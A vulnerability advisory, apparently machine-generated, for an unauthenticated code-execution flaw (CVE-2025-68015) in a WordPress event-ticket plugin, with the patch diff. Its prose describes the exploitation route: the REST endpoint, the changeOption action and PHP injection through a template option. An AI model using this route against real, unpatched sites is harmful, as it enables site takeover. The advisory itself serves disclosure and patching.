Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68015: Event Tickets with Ticket Scanner <= 2.8.5 – Unauthenticated Remote Code Execution (event-tickets-with-ticket-scanner)

Severity Critical (CVSS 9.8)
CWE 94
Vulnerable Version 2.8.5
Patched Version 2.8.6
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68015:
The Event Tickets with Ticket Scanner WordPress plugin contains an unauthenticated remote code execution vulnerability in versions up to and including 2.8.5. This vulnerability exists in the plugin’s REST API endpoint handler for PDF ticket badge downloads. The flaw allows unauthenticated attackers to execute arbitrary code on the server with the highest severity rating (CVSS 9.8).

The root cause is improper access control in the `rest_downloadPDFTicketBadge` function within the `SASO_EVENTTICKETS.php` file. The vulnerable code at lines 293-304 accepts an `action` parameter via `SASO_EVENTTICKETS::getRequestPara(‘action’)` and passes it directly to `$sasoEventtickets->getAdmin()->executeJSON()`. This function processes the action without proper authentication checks. The `executeJSON` method in `sasoEventtickets_AdminSettings.php` handles administrative actions including `changeOption`, `resetOptions`, and other sensitive operations. The vulnerability bypasses the nonce verification check at line 19-22 because the code accepts `wp_rest` nonce validation for scanner requests, creating an authentication bypass.

Exploitation occurs through the WordPress REST API endpoint `/wp-json/saso_eventtickets/v1/ticket/downloadPDFTicketBadge`. Attackers send POST requests with an `action` parameter containing administrative commands like `changeOption`. The payload includes parameters that modify plugin options to inject malicious PHP code. For example, attackers can change the `wcTicketTemplateCode` option to contain PHP code that executes when tickets are generated. The attack requires no authentication because the endpoint’s permission callback in `sasoEventtickets_Ticket.php` at lines 245-284 returns true for unauthenticated requests when the `wcTicketScannerAllowedRoles` option is set to “-“.

The patch in version 2.8.6 completely rewrites the `rest_downloadPDFTicketBadge` function. The new implementation at lines 293-308 removes the `action` parameter processing and instead validates a `code` parameter, retrieves the corresponding ticket object, and calls a dedicated `downloadPDFTicketBadge` method. The patch also adds defense-in-depth measures in `sasoEventtickets_AdminSettings.php` lines 26-42, which enforce `manage_options` capability checks for sensitive actions. The permission callback in `sasoEventtickets_Ticket.php` is hardened to require user authentication for all scanner operations.

Successful exploitation grants attackers complete control over the WordPress site. Attackers can execute arbitrary PHP code with the web server’s privileges, leading to full system compromise. The vulnerability allows modification of plugin settings, injection of web shells, data exfiltration, and lateral movement within the hosting environment. Since the plugin handles ticket generation and scanning, compromised systems could experience fraudulent ticket validation and financial losses.

Differential between vulnerable and patched code

Code Diff
--- a/event-tickets-with-ticket-scanner/SASO_EVENTTICKETS.php
+++ b/event-tickets-with-ticket-scanner/SASO_EVENTTICKETS.php
@@ -293,13 +293,18 @@
 		}
 		public static function rest_downloadPDFTicketBadge($web_request) {
 			try {
-				$a = SASO_EVENTTICKETS::issetRPara('action') ? SASO_EVENTTICKETS::getRequestPara('action') : "";
 				global $sasoEventtickets;
-				if ($_SERVER['REQUEST_METHOD'] === 'POST') {
-					$sasoEventtickets->getAdmin()->executeJSON($a, $_POST, true, false);
-				} else {
-					$sasoEventtickets->getAdmin()->executeJSON($a, $_GET, true, false);
+				$code = $web_request->get_param('code');
+				if (empty($code)) {
+					throw new Exception("#6100 ticket code parameter is missing");
 				}
+				$codeObj = $sasoEventtickets->getCore()->retrieveCodeByCode($code);
+				if (empty($codeObj)) {
+					throw new Exception("#6101 ticket code not found");
+				}
+				$badgeHandler = $sasoEventtickets->getTicketBadgeHandler();
+				$badgeHandler->downloadPDFTicketBadge($codeObj);
+				exit;
 			} catch (Exception $e) {
 				wp_send_json_error($e->getMessage());
 			}
--- a/event-tickets-with-ticket-scanner/includes/woocommerce/class-product.php
+++ b/event-tickets-with-ticket-scanner/includes/woocommerce/class-product.php
@@ -1094,12 +1094,18 @@
 		}

 		/**
-		 * Add background image to flyer PDF
+		 * Add background image and color to flyer PDF
 		 *
 		 * @param object $pdf PDF object
 		 * @return void
 		 */
 		private function addFlyerBackground($pdf): void {
+			// Background color (as fallback when no image or to fill gaps)
+			$wcTicketPDFBackgroundColor = $this->MAIN->getOptions()->getOptionValue('wcTicketPDFBackgroundColor');
+			if (!empty($wcTicketPDFBackgroundColor)) {
+				$pdf->setBackgroundColor($wcTicketPDFBackgroundColor);
+			}
+
 			$wcTicketFlyerBG = $this->MAIN->getOptions()->getOptionValue('wcTicketFlyerBG');
 			if (empty($wcTicketFlyerBG) || intval($wcTicketFlyerBG) <= 0) {
 				return;
--- a/event-tickets-with-ticket-scanner/index.php
+++ b/event-tickets-with-ticket-scanner/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: Event Tickets with Ticket Scanner
  * Plugin URI: https://vollstart.com/event-tickets-with-ticket-scanner/docs/
  * Description: You can create and generate tickets and codes. You can redeem the tickets at entrance using the built-in ticket scanner. You customer can download a PDF with the ticket information. The Premium allows you also to activate user registration and more. This allows your user to register them self to a ticket.
- * Version: 2.8.5
+ * Version: 2.8.6
  * Author: Vollstart
  * Author URI: https://vollstart.com
  * Text Domain: event-tickets-with-ticket-scanner
@@ -20,7 +20,7 @@
 include_once(plugin_dir_path(__FILE__)."init_file.php");

 if (!defined('SASO_EVENTTICKETS_PLUGIN_VERSION'))
-	define('SASO_EVENTTICKETS_PLUGIN_VERSION', '2.8.5');
+	define('SASO_EVENTTICKETS_PLUGIN_VERSION', '2.8.6');
 if (!defined('SASO_EVENTTICKETS_PLUGIN_DIR_PATH'))
 	define('SASO_EVENTTICKETS_PLUGIN_DIR_PATH', plugin_dir_path(__FILE__));

@@ -361,6 +361,7 @@
 		add_action( 'show_user_profile', [$this, 'show_user_profile'] );
 		add_action( 'admin_notices', [$this, 'showSubscriptionWarning'] );
 		add_action( 'admin_notices', [$this, 'showOutdatedPremiumWarning'] );
+		add_action( 'admin_notices', [$this, 'showFormatWarning'] );

 		if (basename($_SERVER['SCRIPT_NAME']) == "admin-ajax.php") {
 			add_action('wp_ajax_'.$this->_prefix.'_executeAdminSettings', [$this,'executeAdminSettings_a'], 10, 0);
@@ -1654,6 +1655,95 @@
 			echo '</p></div>';
 		}
 	}
+
+	/**
+	 * Show admin notice when ticket format is running out of combinations
+	 *
+	 * Checks all ticket lists for format warnings and displays notice
+	 *
+	 * @return void
+	 */
+	public function showFormatWarning(): void {
+		// Only show in admin
+		if (!is_admin()) {
+			return;
+		}
+
+		// Only show to users who can manage options
+		if (!current_user_can('manage_options')) {
+			return;
+		}
+
+		// Check if user wants to clear a warning
+		if (isset($_GET['saso_eventtickets_clear_format_warning']) && isset($_GET['saso_eventtickets_clear_warning_nonce'])) {
+			$list_id = intval($_GET['saso_eventtickets_clear_format_warning']);
+			$nonce = sanitize_text_field($_GET['saso_eventtickets_clear_warning_nonce']);
+
+			if (wp_verify_nonce($nonce, 'clear_format_warning_' . $list_id)) {
+				$this->getAdmin()->clearFormatWarning($list_id);
+				// Redirect to remove query params
+				wp_redirect(remove_query_arg(['saso_eventtickets_clear_format_warning', 'saso_eventtickets_clear_warning_nonce']));
+				exit;
+			}
+		}
+
+		try {
+			// Get all ticket lists
+			$lists = $this->getAdmin()->getLists([], false);
+
+			foreach ($lists as $list) {
+				$warning = $this->getAdmin()->getFormatWarning($list['id']);
+
+				if ($warning) {
+					$list_name = esc_html($warning['list_name']);
+					$attempts = intval($warning['attempts']);
+
+					if ($warning['type'] === 'critical') {
+						// Critical - format exhausted
+						$clear_url = wp_nonce_url(
+							add_query_arg(['saso_eventtickets_clear_format_warning' => $list['id']]),
+							'clear_format_warning_' . $list['id']
+						);
+
+						echo '<div class="notice notice-error"><p>';
+						printf(
+							/* translators: 1: list name, 2: attempts, 3: clear URL */
+							esc_html__('⚠️ CRITICAL: Ticket format for "%1$s" is exhausted! It took %2$d attempts to generate a code. Future ticket sales may fail. %3$sEdit list%4$s | %5$sDismiss%4$s', 'event-tickets-with-ticket-scanner'),
+							$list_name,
+							$attempts,
+							'<a href="' . esc_url(admin_url('admin.php?page=sasoEventTicketsAdminLists&act=edit&id=' . $list['id'])) . '">',
+							'</a>',
+							'<a href="' . esc_url($clear_url) . '">'
+						);
+						echo '</p></div>';
+					} else {
+						// Warning - running out
+						$clear_url = wp_nonce_url(
+							add_query_arg(['saso_eventtickets_clear_format_warning' => $list['id']]),
+							'clear_format_warning_' . $list['id']
+						);
+
+						echo '<div class="notice notice-warning is-dismissible"><p>';
+						printf(
+							/* translators: 1: list name, 2: attempts, 3: clear URL */
+							esc_html__('⚠️ WARNING: Ticket format for "%1$s" is running out of combinations. It took %2$d attempts to generate a code. Consider increasing code length. %3$sEdit list%4$s | %5$sDismiss%4$s', 'event-tickets-with-ticket-scanner'),
+							$list_name,
+							$attempts,
+							'<a href="' . esc_url(admin_url('admin.php?page=sasoEventTicketsAdminLists&act=edit&id=' . $list['id'])) . '">',
+							'</a>',
+							'<a href="' . esc_url($clear_url) . '">'
+						);
+						echo '</p></div>';
+					}
+
+					// Only show one warning at a time
+					break;
+				}
+			}
+		} catch (Exception $e) {
+			// Silently fail - don't break the admin
+		}
+	}
 }
 $sasoEventtickets = sasoEventtickets::Instance();
 ?>
--- a/event-tickets-with-ticket-scanner/sasoEventtickets_AdminSettings.php
+++ b/event-tickets-with-ticket-scanner/sasoEventtickets_AdminSettings.php
@@ -19,10 +19,28 @@
 		if (!$skipNonceTest) {
 			$nonce_mode = $this->MAIN->_js_nonce;
 			if (!wp_verify_nonce(SASO_EVENTTICKETS::getRequestPara('nonce'), $nonce_mode)) {
-				if (!wp_verify_nonce(SASO_EVENTTICKETS::getRequestPara('nonce'), 'wp_rest')) { // coming from the ticket scanner - for now
-					if ($just_ret) throw new Exception("Security check failed");
-					return wp_send_json_error ("Security check failed");
-				}
+				if ($just_ret) throw new Exception("Security check failed");
+				return wp_send_json_error ("Security check failed");
+			}
+		}
+
+		// Defense in depth: require manage_options for sensitive actions
+		$sensitive_actions = [
+			'changeOption', 'resetOptions', 'deleteOptions',
+			'emptyTableCodes', 'emptyTableLists', 'emptyTableErrorLogs',
+			'removeCode', 'removeCodes', 'removeAllCodesFromList',
+			'addAuthtoken', 'editAuthtoken', 'removeAuthtoken',
+			'repairTables', 'expose_desctables', 'testing',
+			'addList', 'editList', 'removeList',
+			'addCode', 'addCodes', 'editCode',
+			'removeWoocommerceOrderInfoFromCode', 'removeWoocommerceRstrPurchaseInfoFromCode',
+			'removeUserRegistrationFromCode', 'removeUsedInformationFromCode',
+			'removeUsedInformationFromCodeBulk', 'editTicketMetaEntry',
+		];
+		if (in_array(trim($a), $sensitive_actions) && !current_user_can('manage_options')) {
+			if (!$this->MAIN->isUserAllowedToAccessAdminArea()) {
+				if ($just_ret) throw new Exception("Permission denied");
+				return wp_send_json_error("Permission denied", 403);
 			}
 		}

@@ -666,6 +684,19 @@

 		$metaObj = $this->_setMetaDataForList($data, $metaObj);

+		// Clear format warning when list is manually saved (user likely adjusted formatter)
+		if (!empty($metaObj['messages']['format_limit_threshold_warning']['last_email']) ||
+		    !empty($metaObj['messages']['format_end_warning']['last_email'])) {
+			$metaObj['messages']['format_limit_threshold_warning'] = [
+				'attempts' => 0,
+				'last_email' => ''
+			];
+			$metaObj['messages']['format_end_warning'] = [
+				'attempts' => 0,
+				'last_email' => ''
+			];
+		}
+
 		if ($this->MAIN->isPremium() && method_exists($this->MAIN->getPremiumFunctions(), 'setFelderListEdit')) {
 			$felder = $this->MAIN->getPremiumFunctions()->setFelderListEdit($felder, $data, $listObj, $metaObj);
 		}
@@ -1161,10 +1192,16 @@
 				$data["code"] = $this->generateCode($formatterValues);
 				try {
 					$id = $this->addCode($data);
+					// Check if counter exceeded threshold (50% warning)
+					if ($counter > 50) {
+						$this->checkAndSaveFormatWarning($list_id, $counter, 'format_limit_threshold_warning');
+					}
 					break;
 				} catch(Exception $e) {
 					// code exists already, try a new one
 					if (substr($e->getMessage(), 0, 5) == "#208 ") { // no premium and limit exceeded
+						// Save critical warning and send email
+						$this->checkAndSaveFormatWarning($list_id, $counter, 'format_end_warning');
 						$data["code"] = $this->getOptionValue('wcassignmentTextNoCodePossible', __("Please contact our support for the ticket/code", 'event-tickets-with-ticket-scanner'));
 						return $data["code"];
 					}
@@ -2270,5 +2307,153 @@
 		$this->MAIN->getDB()->update("codes", ['semaphorecode'=>"", "order_id"=>0], ["code"=>$code]);
 		*/
 	}
+
+	/**
+	 * Check if format warning should be saved based on counter threshold
+	 * @param int $list_id Ticket list ID
+	 * @param int $counter Number of attempts needed to generate code
+	 * @param string $warningType 'format_limit_threshold_warning' for 50%, 'format_end_warning' for 100%
+	 * @return void
+	 */
+	private function checkAndSaveFormatWarning($list_id, $counter, $warningType = 'format_limit_threshold_warning') {
+		try {
+			$listObj = $this->getList(['id' => $list_id]);
+			$metaObj = $this->MAIN->getCore()->encodeMetaValuesAndFillObjectList($listObj['meta']);
+
+			// Check if email already sent today
+			$lastEmail = $metaObj['messages'][$warningType]['last_email'] ?? '';
+			$shouldSendEmail = empty($lastEmail);
+
+			if (!empty($lastEmail)) {
+				$lastEmailTime = strtotime($lastEmail);
+				$timeDiff = (time() - $lastEmailTime) / 3600; // hours
+				if ($timeDiff >= 24) {
+					$shouldSendEmail = true;
+				}
+			}
+
+			// Update warning data
+			$metaObj['messages'][$warningType]['attempts'] = max($counter, $metaObj['messages'][$warningType]['attempts']);
+
+			if ($shouldSendEmail) {
+				$metaObj['messages'][$warningType]['last_email'] = wp_date("Y-m-d H:i:s");
+				// Save to meta
+				$this->editList($list_id, ['meta' => $this->MAIN->getCore()->_json_encode_with_error_handling($metaObj)]);
+				// Send email
+				$severity = ($warningType === 'format_end_warning') ? 'critical' : 'warning';
+				$this->sendFormatWarningEmail($list_id, $severity, $counter);
+			} else {
+				// Just save the updated attempts count
+				$this->editList($list_id, ['meta' => $this->MAIN->getCore()->_json_encode_with_error_handling($metaObj)]);
+			}
+
+		} catch (Exception $e) {
+			// Log error but don't throw
+			$this->logErrorToDB($e, "", "checkAndSaveFormatWarning for list $list_id");
+		}
+	}
+
+	/**
+	 * Send email to admin about format exhaustion
+	 * @param int $list_id Ticket list ID
+	 * @param string $severity 'warning' or 'critical'
+	 * @param int $counter Number of attempts
+	 * @return void
+	 */
+	private function sendFormatWarningEmail($list_id, $severity, $counter) {
+		try {
+			$listObj = $this->getList(['id' => $list_id]);
+			$admin_email = get_option('admin_email');
+			$blog_name = get_bloginfo('name');
+			$site_url = site_url();
+
+			$subject = '';
+			$message = '';
+
+			if ($severity === 'critical') {
+				$subject = sprintf(__('[%s] CRITICAL: Ticket format exhausted for "%s"', 'event-tickets-with-ticket-scanner'), $blog_name, $listObj['name']);
+				$message = sprintf(
+					__("WARNING: The ticket number format for list "%s" is exhausted!nnIt took %d attempts to generate a ticket code.nnActions:n1. Go to: %sn2. Edit the ticket listn3. Increase code length or change character setnnWithout action, future ticket sales may fail!", 'event-tickets-with-ticket-scanner'),
+					$listObj['name'],
+					$counter,
+					admin_url('admin.php?page=sasoEventTicketsAdminLists&act=edit&id=' . $list_id)
+				);
+			} else {
+				$subject = sprintf(__('[%s] WARNING: Ticket format running out for "%s"', 'event-tickets-with-ticket-scanner'), $blog_name, $listObj['name']);
+				$message = sprintf(
+					__("WARNING: The ticket number format for list "%s" is running out of combinations!nnIt took %d attempts to generate a ticket code.nnRecommended action:n1. Go to: %sn2. Edit the ticket listn3. Consider increasing code length or character setnnThis is a proactive warning to prevent future issues.", 'event-tickets-with-ticket-scanner'),
+					$listObj['name'],
+					$counter,
+					admin_url('admin.php?page=sasoEventTicketsAdminLists&act=edit&id=' . $list_id)
+				);
+			}
+
+			$headers = ['Content-Type: text/plain; charset=UTF-8'];
+			wp_mail($admin_email, $subject, $message, $headers);
+
+		} catch (Exception $e) {
+			$this->logErrorToDB($e, "", "sendFormatWarningEmail for list $list_id");
+		}
+	}
+
+	/**
+	 * Get format warning from ticket list meta
+	 * @param int $list_id Ticket list ID
+	 * @return array|null ['type'=>'...', 'attempts'=>...] or null
+	 */
+	public function getFormatWarning($list_id) {
+		try {
+			$listObj = $this->getList(['id' => $list_id]);
+			$metaObj = $this->MAIN->getCore()->encodeMetaValuesAndFillObjectList($listObj['meta']);
+
+			// Check for critical warning first
+			if (!empty($metaObj['messages']['format_end_warning']['last_email'])) {
+				return [
+					'type' => 'critical',
+					'attempts' => $metaObj['messages']['format_end_warning']['attempts'],
+					'list_name' => $listObj['name']
+				];
+			}
+
+			// Check for threshold warning
+			if (!empty($metaObj['messages']['format_limit_threshold_warning']['last_email'])) {
+				return [
+					'type' => 'warning',
+					'attempts' => $metaObj['messages']['format_limit_threshold_warning']['attempts'],
+					'list_name' => $listObj['name']
+				];
+			}
+
+			return null;
+		} catch (Exception $e) {
+			return null;
+		}
+	}
+
+	/**
+	 * Clear format warning from ticket list meta
+	 * @param int $list_id Ticket list ID
+	 * @return void
+	 */
+	public function clearFormatWarning($list_id) {
+		try {
+			$listObj = $this->getList(['id' => $list_id]);
+			$metaObj = $this->MAIN->getCore()->encodeMetaValuesAndFillObjectList($listObj['meta']);
+
+			// Reset warning data
+			$metaObj['messages']['format_limit_threshold_warning'] = [
+				'attempts' => 0,
+				'last_email' => ''
+			];
+			$metaObj['messages']['format_end_warning'] = [
+				'attempts' => 0,
+				'last_email' => ''
+			];
+
+			$this->editList($list_id, ['meta' => $this->MAIN->getCore()->_json_encode_with_error_handling($metaObj)]);
+		} catch (Exception $e) {
+			$this->logErrorToDB($e, "", "clearFormatWarning for list $list_id");
+		}
+	}
 }
 ?>
 No newline at end of file
--- a/event-tickets-with-ticket-scanner/sasoEventtickets_Core.php
+++ b/event-tickets-with-ticket-scanner/sasoEventtickets_Core.php
@@ -300,6 +300,16 @@
 			],
 			'webhooks'=>[
 				'webhookURLaddwcticketsold'=>''
+			],
+			'messages'=>[
+				'format_limit_threshold_warning'=>[
+					'attempts'=>0,
+					'last_email'=>''
+				],
+				'format_end_warning'=>[
+					'attempts'=>0,
+					'last_email'=>''
+				]
 			]
 		];
 		if ($this->MAIN->isPremium() && method_exists($this->MAIN->getPremiumFunctions(), 'getMetaObjectList')) {
--- a/event-tickets-with-ticket-scanner/sasoEventtickets_Options.php
+++ b/event-tickets-with-ticket-scanner/sasoEventtickets_Options.php
@@ -332,6 +332,8 @@
 		$options[] = ['key'=>'wcTicketTemplateUseDefault', 'label'=>__("Use the default template for the ticket", 'event-tickets-with-ticket-scanner'), 'desc'=>__("If active, then the ticket template code will not be used. Best for beginners, who do not want to adjust the ticket template code. If the ticket template code is empty, then it will also use the default template code.", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>"", '_doc_video'=>'https://youtu.be/sV1L2MJtq8M'];
 		$options[] = ['key'=>'h16_desc', 'label'=>__('The plugin is using the Twig template engine (3.22.0). This is a well documented tempklate engine that gives you a great freedom.<br><a target="_blank" href="https://twig.symfony.com/doc/3.x/">Open Documentation of Twig</a>', 'event-tickets-with-ticket-scanner'), 'desc'=>"You can use the following variables:<ul><li>PRODUCT</li><li>PRODUCT_PARENT</li><li>PRODUCT_ORIGINAL (in case you use WPML plugin, might be helpful - all the event tickets settings are on the original product)</li><li>PRODUCT_PARENT_ORIGINAL (in case you use WPML plugin, might be helpful - all the event tickets settings are on the original parent product - for variant/variable product)</li><li>OPTIONS</li><li>TICKET</li><li>ORDER</li><li>ORDER_ITEM</li><li>CODEOBJ</li><li>METAOBJ</li><li>LISTOBJ</li><li>LIST_METAOBJ</li><li>is_variation</li><li>forPDFOutput</li><li>isScanner</li><li>WPDB</li></ul>ACF support: you can use the function get_field to retrieve an ACF field value. You need to provide the product_id. e.g. {{ get_field('some_value', PRODUCT_PARENT.get_id)|escape }} or {{ get_field('some_value', PRODUCT_PARENT.get_id)|escape('wp_kses_post')|raw }} and so on.", 'type'=>"desc"];
 		$options[] = ['key'=>'wcTicketPDFZeroMargin', 'label'=>__("Do not use padding within the PDF ticket", 'event-tickets-with-ticket-scanner'), 'desc'=>__("If active, then the PDF content will start directly from the beginning of the paper. You need to add your own padding and margin within the template.", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>"", '_doc_video'=>'https://youtu.be/2Ek2qkjHNAY'];
+		$options[] = ['key'=>'wcTicketPDFFullBleed', 'label'=>__("Full bleed mode (no margins at all)", 'event-tickets-with-ticket-scanner'), 'desc'=>__("If active, removes ALL margins, paddings and cell spacings from the PDF. Use this for edge-to-edge background images. Requires 'Do not use padding' to be active. Warning: This may affect existing ticket designs!", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>""];
+		$options[] = ['key'=>'wcTicketPDFBackgroundColor', 'label'=>__("Ticket background color", 'event-tickets-with-ticket-scanner'), 'desc'=>__("This color will be used as the background color for the ticket PDF. Useful when you don't have a background image or as a fallback. Leave empty or white (#FFFFFF) for no background color.", 'event-tickets-with-ticket-scanner'), 'type'=>"color", 'def'=>"#FFFFFF"];
 		$options[] = ['key'=>'wcTicketPDFisRTL', 'label'=>__("BETA Use RTL for PDF", 'event-tickets-with-ticket-scanner'), 'desc'=>__("This feature is in Beta. This means, good results are not guaranteed, still optimizing this. If active, the PDF will be generated with RTL option active.", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>"", '_doc_video'=>'https://youtu.be/7xmNgRmcrH0'];
 		$options[] = ['key'=>'wcTicketSizeWidth', 'label'=>__('Size in mm for the width', 'event-tickets-with-ticket-scanner'), 'desc'=>__('Will be used to set the width of the PDF. If empty or zero or lower than 20, the default of 210 will be used.', 'event-tickets-with-ticket-scanner'), 'type'=>'number', 'def'=>210, "additional"=>["min"=>20], '_doc_video'=>'https://youtu.be/c2XtUY2l1OM'];
 		$options[] = ['key'=>'wcTicketSizeHeight', 'label'=>__('Size in mm for the height', 'event-tickets-with-ticket-scanner'), 'desc'=>__('Will be used to set the height of the PDF. If empty or zero or lower than 20, the default of 297 will be used.', 'event-tickets-with-ticket-scanner'), 'type'=>'number', 'def'=>297, "additional"=>["min"=>20], '_doc_video'=>'https://youtu.be/c2XtUY2l1OM'];
@@ -340,6 +342,8 @@

 		$options[] = ['key'=>'h16a', 'label'=>__("Ticket Designer Test", 'event-tickets-with-ticket-scanner'), 'desc'=>"", 'type'=>"heading"];
 		$options[] = ['key'=>'wcTicketPDFZeroMarginTest', 'label'=>__("Do not use padding within the <b>test</b> PDF ticket", 'event-tickets-with-ticket-scanner'), 'desc'=>__("If active, then the PDF content will start directly from the beginning of the paper. You need to add your own padding and margin within the template.", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>"", '_doc_video'=>'https://youtu.be/jewIPLsu5nw'];
+		$options[] = ['key'=>'wcTicketPDFFullBleedTest', 'label'=>__("Full bleed mode for <b>test</b> (no margins at all)", 'event-tickets-with-ticket-scanner'), 'desc'=>__("If active, removes ALL margins, paddings and cell spacings from the test PDF. Use this for edge-to-edge background images.", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>""];
+		$options[] = ['key'=>'wcTicketPDFBackgroundColorTest', 'label'=>__("Ticket background color for <b>test</b>", 'event-tickets-with-ticket-scanner'), 'desc'=>__("This color will be used as the background color for the test ticket PDF. Useful when you don't have a background image.", 'event-tickets-with-ticket-scanner'), 'type'=>"color", 'def'=>"#FFFFFF"];
 		$options[] = ['key'=>'wcTicketPDFisRTLTest', 'label'=>__("BETA Use RTL for PDF <b>test</b>", 'event-tickets-with-ticket-scanner'), 'desc'=>__("This feature is in Beta. This means, good results are not guaranteed, still optimizing this. If active, the PDF will be generated with RTL option active.", 'event-tickets-with-ticket-scanner'), 'type'=>"checkbox", 'def'=>""];
 		$options[] = ['key'=>'wcTicketSizeWidthTest', 'label'=>__('Size in mm for the width of the <b>test</b>', 'event-tickets-with-ticket-scanner'), 'desc'=>__('Will be used to set the width of the PDF. If empty or zero, the default of 80 will be used.', 'event-tickets-with-ticket-scanner'), 'type'=>'number', 'def'=>210, "additional"=>["min"=>20], '_doc_video'=>'https://youtu.be/ylgo0rvn9SA'];
 		$options[] = ['key'=>'wcTicketSizeHeightTest', 'label'=>__('Size in mm for the height of the <b>test</b>', 'event-tickets-with-ticket-scanner'), 'desc'=>__('Will be used to set the height of the PDF. If empty or zero, the default of 120 will be used.', 'event-tickets-with-ticket-scanner'), 'type'=>'number', 'def'=>297, "additional"=>["min"=>20], '_doc_video'=>'https://youtu.be/ylgo0rvn9SA'];
--- a/event-tickets-with-ticket-scanner/sasoEventtickets_PDF.php
+++ b/event-tickets-with-ticket-scanner/sasoEventtickets_PDF.php
@@ -11,6 +11,7 @@
 	private $isRTL = false;
 	private $languageArray = null;
 	private $background_image = null;
+	private $background_color = null;
 	private $fontSize = 10;
 	private $fontFamily = "dejavusans";

@@ -18,6 +19,7 @@
 	private $size_width = 210;
 	private $size_height = 297;
 	public $marginsZero = false;
+	public $fullBleed = false;

 	private $attach_pdfs = [];

@@ -196,6 +198,18 @@
 		$this->background_image = $background_image;
 	}

+	/**
+	 * Set the background color for the ticket PDF.
+	 * @param string|null $color Hex color value (e.g., '#FF0000' or 'FF0000')
+	 */
+	public function setBackgroundColor(?string $color = null): void {
+		if ($color !== null && $color !== '' && strtoupper($color) !== '#FFFFFF' && strtoupper($color) !== 'FFFFFF') {
+			$this->background_color = ltrim($color, '#');
+		} else {
+			$this->background_color = null;
+		}
+	}
+
 	public function setFontSize($number=10) {
 		$this->fontSize = intval($number);
 	}
@@ -415,6 +429,14 @@
 		if ($this->marginsZero) {
 			$pdf->SetMargins(0, 0, 0);
 		}
+		// Full bleed mode: remove ALL margins, paddings and spacings for edge-to-edge printing
+		if ($this->fullBleed) {
+			$pdf->SetMargins(0, 0, 0);
+			$pdf->SetAutoPageBreak(false, 0);
+			$pdf->SetCellPadding(0);
+			$pdf->SetHeaderMargin(0);
+			$pdf->SetFooterMargin(0);
+		}
 		//$pdf->SetMargins(PDF_MARGIN_LEFT, 17, 10);
 		//$pdf->SetHeaderMargin(10);
 		//$pdf->SetFooterMargin(10);
@@ -439,6 +461,21 @@
 		// Print text using writeHTMLCell()
 		$pdf->AddPage();

+		// Full bleed: start at exact position 0,0
+		if ($this->fullBleed) {
+			$pdf->SetXY(0, 0);
+		}
+
+		// background color (fills entire page as fallback/base)
+		if ($this->background_color !== null) {
+			$hex = $this->background_color;
+			$r = hexdec(substr($hex, 0, 2));
+			$g = hexdec(substr($hex, 2, 2));
+			$b = hexdec(substr($hex, 4, 2));
+			$pdf->SetFillColor($r, $g, $b);
+			$pdf->Rect(0, 0, $this->size_width, $this->size_height, 'F');
+		}
+
 		// background image
 		if ($this->background_image != null) {
 			//$w_image = $this->orientation == "L" ? $this->size_height : $this->size_width;
--- a/event-tickets-with-ticket-scanner/sasoEventtickets_Ticket.php
+++ b/event-tickets-with-ticket-scanner/sasoEventtickets_Ticket.php
@@ -245,24 +245,38 @@
 	}

 	function rest_permission_callback(WP_REST_Request $web_request) {
-		// check ip brute force attack?????
-
 		$ret = false;
-		// check if request contains authtoken var
+
+		// Path 1: Authtoken authentication (for scanner team without WP accounts)
 		if ($web_request->has_param($this->MAIN->getAuthtokenHandler()::$authtoken_param)) {
 			$authHandler = $this->MAIN->getAuthtokenHandler();
 			$this->authtoken = $web_request->get_param($authHandler::$authtoken_param);
 			$ret = $authHandler->checkAccessForAuthtoken($this->authtoken);
 		} else {
-			$allowed_role = $this->MAIN->getOptions()->getOptionValue('wcTicketScannerAllowedRoles');
-			if (!$this->onlyLoggedInScannerAllowed && $allowed_role == "-") return true;
+			// Path 2: WordPress user authentication (must be logged in)
+			if (!is_user_logged_in()) return false;
+
 			$user = wp_get_current_user();
 			$user_roles = (array) $user->roles;
-			if ($this->onlyLoggedInScannerAllowed && in_array("administrator", $user_roles)) return true;
-			if ($allowed_role != "-") {
-				if (in_array($allowed_role, $user_roles)) $ret = true;
+
+			// Administrators always have access
+			if (in_array("administrator", $user_roles)) return true;
+
+			if ($this->onlyLoggedInScannerAllowed) {
+				// Strict mode: only administrators (already checked above)
+				$ret = false;
+			} else {
+				$allowed_role = $this->MAIN->getOptions()->getOptionValue('wcTicketScannerAllowedRoles');
+				if ($allowed_role == "-") {
+					// No specific role required - any logged-in user can access
+					$ret = true;
+				} else {
+					// Specific role required
+					$ret = in_array($allowed_role, $user_roles);
+				}
 			}
 		}
+
 		$ret = apply_filters( $this->MAIN->_add_filter_prefix.'ticket_rest_permission_callback', $ret, $web_request );
 		return $ret;
 	}
@@ -1667,6 +1681,23 @@
 		}
 		$pdf->marginsZero = $marginZero;

+		// Full bleed mode for edge-to-edge printing
+		$fullBleed = false;
+		if ($ticket_template != null) {
+			$fullBleed = $ticket_template['metaObj']['wcTicketPDFFullBleed'] == true || intval($ticket_template['metaObj']['wcTicketPDFFullBleed']) == 1;
+		} else {
+			if (SASO_EVENTTICKETS::issetRPara('testDesigner')) {
+				if ($this->MAIN->getOptions()->isOptionCheckboxActive('wcTicketPDFFullBleedTest')) {
+					$fullBleed = true;
+				}
+			} else {
+				if ($this->MAIN->getOptions()->isOptionCheckboxActive('wcTicketPDFFullBleed')) {
+					$fullBleed = true;
+				}
+			}
+		}
+		$pdf->fullBleed = $fullBleed;
+
 		$width = 210;
         $height = 297;
 		$qr_code_size = 0; // takes default then
@@ -1807,6 +1838,15 @@
 			}
 		}

+		// Background color (as fallback when no image or to fill gaps)
+		$bgColorOption = SASO_EVENTTICKETS::issetRPara('testDesigner')
+			? 'wcTicketPDFBackgroundColorTest'
+			: 'wcTicketPDFBackgroundColor';
+		$wcTicketPDFBackgroundColor = $this->MAIN->getOptions()->getOptionValue($bgColorOption);
+		if (!empty($wcTicketPDFBackgroundColor)) {
+			$pdf->setBackgroundColor($wcTicketPDFBackgroundColor);
+		}
+
 		$wcTicketTicketAttachPDFOnTicket = $this->MAIN->getAdmin()->getOptionValue('wcTicketTicketAttachPDFOnTicket');
